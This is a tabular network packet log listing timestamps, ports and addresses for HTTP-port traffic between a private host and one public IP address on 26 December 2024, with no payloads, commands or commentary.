Dec 26, 2024 12:52:17.876295090 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.876332998 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.877032042 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.877151966 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.877197027 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.877876997 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.877964020 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.878007889 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.878761053 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.878887892 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.878930092 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.879576921 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.879671097 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.879718065 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.880415916 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.880485058 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.880523920 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.881274939 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.881355047 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.881402016 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.882153034 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.882237911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.882278919 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.882971048 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.883089066 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.883128881 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.883824110 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.883958101 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.884005070 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.884696960 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.884805918 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.884845018 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.885545969 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.885628939 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.885668993 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.886409044 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.886487961 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.886526108 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.887300968 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.887353897 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.887392998 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.888250113 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.888364077 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.888402939 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.889039993 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.889116049 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.889158010 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.889770985 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.889833927 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.889874935 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.890759945 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.890779972 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.890826941 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.891510010 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.891619921 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.891700029 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.892369986 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.892688036 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.892731905 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.893202066 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.893317938 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.893361092 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.894076109 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.894138098 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.894179106 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.894964933 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.895042896 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.895088911 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.895865917 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.895891905 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.895924091 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.896634102 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.896716118 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.896754980 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.897501945 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.897578001 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.897618055 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.898367882 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.898561001 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.898601055 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.899240971 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.899302959 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.899343014 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.900000095 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.900119066 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.900158882 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.900980949 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.900996923 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.901037931 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.901855946 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.901988983 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.902030945 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.902570009 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.012248039 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.068547964 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.068574905 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.068628073 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.068901062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.068943977 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.068984985 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.069677114 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.069802046 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.069930077 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.070566893 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.070583105 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.070660114 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.071350098 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.071926117 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.071970940 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.072319031 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.072340012 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.072381973 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.073121071 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.073132992 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.073177099 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.073931932 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.074094057 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.074943066 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.074954033 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.074959993 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.075006962 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.075694084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.075707912 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.075772047 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.076617956 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.076634884 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.076679945 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.077414989 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.077425957 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.077490091 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.078258038 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.078269958 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.078324080 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.079006910 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.079265118 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.079343081 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.079977989 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.079989910 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.080048084 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.080859900 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.080873013 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.080935001 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.081691027 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.081702948 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.081752062 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.082544088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.082556009 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.082600117 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.083350897 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.083551884 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.084285021 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.084326029 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.084638119 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.085293055 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.085305929 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.085356951 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.085963964 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.085975885 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.086803913 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.086816072 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.086819887 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.086858988 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.087769985 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.088453054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.088464975 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.088937998 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.088996887 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.089355946 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.090166092 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.090181112 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.090282917 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.090976000 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.090992928 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.091202021 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.091260910 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.091308117 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.091932058 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.091944933 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.091999054 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.092777967 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.092797041 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.093630075 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.093645096 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.093676090 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.093705893 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.094742060 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.094754934 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.094954014 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.095325947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.095344067 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.096188068 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.096240044 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.096481085 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.097197056 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.097209930 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.097254992 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.097846985 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.097980976 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.098742008 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.098753929 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.098784924 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.098799944 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.099601984 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.099615097 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.100436926 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.100449085 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.100486040 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.101322889 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.101335049 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.102164984 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.102176905 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.102226019 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.102905989 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.103351116 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.103905916 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.103971004 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.104629040 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.104640961 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.104784012 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.104825020 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.105648994 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.105664968 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.105699062 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.106470108 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.106484890 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.107161045 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.107172012 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.107348919 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.108175039 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.108186960 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.108256102 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.109010935 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.109023094 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.109067917 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.109860897 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.109874010 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.110893011 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.110903978 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.110903978 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.111485958 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.111538887 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.111588001 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.112390041 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.112401962 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.112447023 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.113177061 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.279206991 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.279386044 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.279476881 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.279490948 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.279593945 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.279748917 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.280370951 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.280447960 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.280469894 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.281230927 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.281264067 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.281353951 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.282071114 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.282097101 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.282145023 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.282816887 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.282912970 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.283334970 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.283750057 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.283847094 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.283912897 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.284481049 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.284634113 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.284698009 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.285439968 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.285454035 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.285562992 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.286274910 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.286343098 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.286391973 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.287061930 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.287235022 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.287286043 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.287955046 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.288063049 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.288081884 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.288781881 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.288870096 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.288959980 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.289652109 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.289743900 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.289764881 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.290620089 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.290676117 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.290750980 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.291362047 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.291436911 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.291460037 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.292252064 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.292313099 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.292347908 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.293132067 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.293185949 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.293267965 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.294013023 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.294078112 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.294092894 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.294847012 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.294883013 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.294910908 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.295723915 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.295803070 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.295819044 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.296483040 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.296565056 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.296672106 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.297302961 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.297377110 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.297414064 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.298393965 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.298410892 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.298492908 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.299052954 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.299263954 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.299324036 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.299915075 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.299993992 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.300060987 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.300792933 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.300884008 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.301054001 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.301673889 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.301690102 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.301834106 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.302520990 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.302536011 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.302572012 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.303298950 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.303478956 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.303503990 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.304147005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.304241896 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:18.304291010 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:18.305030107 CET	80	49842	185.215.113.16	192.168.2.6
